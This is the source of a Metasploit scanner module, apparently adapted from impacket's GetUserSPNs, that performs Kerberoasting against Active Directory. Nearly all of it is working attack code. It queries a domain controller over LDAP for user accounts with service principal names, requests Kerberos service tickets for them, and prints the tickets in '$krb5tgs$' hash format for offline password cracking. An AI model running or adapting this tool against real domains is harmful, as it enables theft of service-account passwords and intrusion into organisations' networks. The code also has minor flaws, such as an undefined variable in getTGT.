321 lines
15 KiB
Python
Executable File
321 lines
15 KiB
Python
Executable File
#!/usr/bin/env python2.7
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# -*- coding: utf-8 -*-
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import sys
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import os
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from datetime import datetime
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from binascii import hexlify, unhexlify
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# extra modules
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dependencies_missing = False
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try:
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from pyasn1.codec.der import decoder
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from impacket import version
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from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_NORMAL_ACCOUNT
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from impacket.examples import logger
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from impacket.krb5 import constants
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from impacket.krb5.asn1 import TGS_REP
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from impacket.krb5.ccache import CCache
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from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
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from impacket.krb5.types import Principal
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from impacket.ldap import ldap, ldapasn1
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from impacket.smbconnection import SMBConnection
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from impacket.ntlm import compute_lmhash, compute_nthash
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except ImportError:
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dependencies_missing = True
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from metasploit import module
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metadata = {
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'name': 'Gather Ticket Granting Service (TGS) tickets for User Service Principal Names (SPN)',
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'description': '''
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This module will try to find Service Principal Names that are associated with normal user accounts.
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Since normal accounts' passwords tend to be shorter than machine accounts, and knowing that a TGS request
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will encrypt the ticket with the account the SPN is running under, this could be used for an offline
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bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs.
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This is part of the kerberoast attack research by Tim Medin (@timmedin).
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''',
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'authors': [
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'Alberto Solino', # impacket example
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'Jacob Robles' # Metasploit module conversion
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],
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'date': '2014-09-27',
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'license': 'CORE_LICENSE',
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'references': [
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{'type': 'url', 'ref': 'https://github.com/CoreSecurity/impacket/blob/master/examples/GetUserSPNs.py'},
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{'type': 'url', 'ref': 'https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf'},
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{'type': 'aka', 'ref': 'GetUserSPNs.py'},
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{'type': 'aka', 'ref': 'Kerberoast'}
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],
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'type': 'single_scanner',
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'options': {
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'rhost': {'type': 'address', 'description': 'The target address', 'required': True, 'default': None},
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'domain': {'type': 'string', 'description': 'The target Active Directory domain', 'required': True, 'default': None},
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'user': {'type': 'string', 'description': 'Username for a domain account', 'required': True, 'default': None},
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'pass': {'type': 'string', 'description': 'Password for the domain user account', 'required': True, 'default': None}
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}}
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class GetUserSPNs:
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@staticmethod
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def printTable(items, header):
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colLen = []
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for i, col in enumerate(header):
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rowMaxLen = max([len(row[i]) for row in items])
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colLen.append(max(rowMaxLen, len(col)))
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outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])
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# Print header
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module.log('{}'.format(outputFormat.format(*header)), level='good')
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module.log('{}'.format(' '.join(['-' * itemLen for itemLen in colLen])), level='good')
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# And now the rows
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for row in items:
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module.log('{}'.format(outputFormat.format(*row)), level='good')
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def __init__(self, username, password, domain, cmdLineOptions):
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self.options = cmdLineOptions
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self.__username = username
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self.__password = password
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self.__domain = domain
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self.__lmhash = ''
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self.__nthash = ''
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self.__outputFileName = None #options.outputfile
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self.__aesKey = None #cmdLineOptions.aesKey
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self.__doKerberos = False #cmdLineOptions.k
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self.__target = None
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self.__requestTGS = True #options.request
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self.__kdcHost = cmdLineOptions['dc_ip']
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self.__saveTGS = False #cmdLineOptions.save
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self.__requestUser = None #cmdLineOptions.request_user
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#if cmdLineOptions.hashes is not None:
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# self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
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# Create the baseDN
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domainParts = self.__domain.split('.')
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self.baseDN = ''
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for i in domainParts:
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self.baseDN += 'dc=%s,' % i
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# Remove last ','
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self.baseDN = self.baseDN[:-1]
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def getMachineName(self):
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if self.__kdcHost is not None:
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s = SMBConnection(self.__kdcHost, self.__kdcHost)
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else:
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s = SMBConnection(self.__domain, self.__domain)
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try:
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s.login('', '')
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except Exception:
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if s.getServerName() == '':
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raise('Error while anonymous logging into %s' % self.__domain)
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else:
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s.logoff()
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return s.getServerName()
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@staticmethod
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def getUnixTime(t):
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t -= 116444736000000000
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t /= 10000000
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return t
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def getTGT(self):
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try:
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ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
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except:
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pass
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else:
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domain = self.__domain
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principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
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creds = ccache.getCredential(principal)
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if creds is not None:
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TGT = creds.toTGT()
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module.log('Using TGT from cache', level='debug')
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return TGT
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else:
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module.log('No valid credentials found in cache', level='debug')
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# No TGT in cache, request it
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userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
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# In order to maximize the probability of getting session tickets with RC4 etype, we will convert the
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# password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the
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# cleartext password.
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# If no clear text password is provided, we just go with the defaults.
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try:
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tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.__domain,
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compute_lmhash(password),
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compute_nthash(password), self.__aesKey,
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kdcHost=self.__kdcHost)
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except Exception, e:
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module.log('Exception for getKerberosTGT', level='error')
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tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
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unhexlify(self.__lmhash),
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unhexlify(self.__nthash), self.__aesKey,
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kdcHost=self.__kdcHost)
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TGT = {}
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TGT['KDC_REP'] = tgt
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TGT['cipher'] = cipher
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TGT['sessionKey'] = sessionKey
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return TGT
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def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn):
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decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
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# According to RFC4757 the cipher part is like:
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# struct EDATA {
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# struct HEADER {
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# OCTET Checksum[16];
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# OCTET Confounder[8];
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# } Header;
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# OCTET Data[0];
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# } edata;
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#
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# In short, we're interested in splitting the checksum and the rest of the encrypted data
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#
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if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:
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entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
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constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
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hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])),
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hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:])))
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module.log('{}'.format(entry), level='good')
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elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
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entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
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constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
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hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])),
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hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:])))
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module.log('{}'.format(entry), level='good')
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elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
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entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
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constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
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hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])),
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hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:])))
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module.log('{}'.format(entry), level='good')
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elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value:
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entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
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constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
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hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])),
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hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:])))
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module.log('{}'.format(entry), level='good')
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else:
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pass
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def run(self):
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self.__target = self.__kdcHost
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# Connect to LDAP
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try:
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ldapConnection = ldap.LDAPConnection('ldap://%s'%self.__target, self.baseDN, self.__kdcHost)
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ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
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except ldap.LDAPSessionError, e:
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if str(e).find('strongerAuthRequired') >= 0:
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# We need to try SSL
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ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost)
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ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
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else:
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raise
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# Building the search filter
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searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \
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"(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))"
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try:
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resp = ldapConnection.search(searchFilter=searchFilter,
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attributes=['servicePrincipalName', 'sAMAccountName',
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'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
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sizeLimit=999)
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except ldap.LDAPSearchError, e:
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if e.getErrorString().find('sizeLimitExceeded') >= 0:
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module.log('sizeLimitExceeded exception caught, giving up and processing the data received', level='debug')
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# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
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# paged queries
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resp = e.getAnswers()
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else:
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raise
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answers = []
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module.log('Total of records returned {}'.format(len(resp)), level='info')
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for item in resp:
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if isinstance(item, ldapasn1.SearchResultEntry) is not True:
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continue
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mustCommit = False
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sAMAccountName = ''
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memberOf = ''
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SPNs = []
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pwdLastSet = ''
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userAccountControl = 0
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lastLogon = 'N/A'
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try:
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for attribute in item['attributes']:
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if attribute['type'] == 'sAMAccountName':
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if str(attribute['vals'][0]).endswith('$') is False:
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# User Account
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sAMAccountName = str(attribute['vals'][0])
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mustCommit = True
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elif attribute['type'] == 'userAccountControl':
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userAccountControl = str(attribute['vals'][0])
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elif attribute['type'] == 'memberOf':
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memberOf = str(attribute['vals'][0])
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elif attribute['type'] == 'pwdLastSet':
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if str(attribute['vals'][0]) == '0':
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pwdLastSet = '<never>'
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else:
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pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
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elif attribute['type'] == 'lastLogon':
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if str(attribute['vals'][0]) == '0':
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lastLogon = '<never>'
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else:
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lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
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elif attribute['type'] == 'servicePrincipalName':
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for spn in attribute['vals']:
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SPNs.append(str(spn))
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if mustCommit is True:
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if int(userAccountControl) & UF_ACCOUNTDISABLE:
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module.log('Bypassing disabled account {}'.format(sAMAccountName), level='debug')
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else:
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for spn in SPNs:
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answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon])
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except Exception, e:
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module.log('Skipping item, cannot process due to error', level='error')
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if len(answers)>0:
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self.printTable(answers, header=["ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon"])
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if self.__requestTGS is True:
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# Let's get unique user names and a SPN to request a TGS for
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users = dict( (vals[1], vals[0]) for vals in answers)
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# Get a TGT for the current user
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TGT = self.getTGT()
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for user, SPN in users.iteritems():
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try:
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serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value)
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tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain,
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self.__kdcHost,
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TGT['KDC_REP'], TGT['cipher'],
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TGT['sessionKey'])
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self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN)
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except Exception , e:
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module.log('SPN Exception: {} - {}'.format(SPN, str(e)), level='error')
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else:
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module.log('No entries found!', level='info')
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def run(args):
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if dependencies_missing:
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module.log('Module dependencies (impacket, pyasn1, pyOpenSSL) missing, cannot continue', level='error')
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return
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options = {}
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options['dc_ip'] = args['rhost']
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executer = GetUserSPNs(args['user'], args['pass'], args['domain'], options)
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executer.run()
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if __name__ == '__main__':
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module.run(metadata, run)
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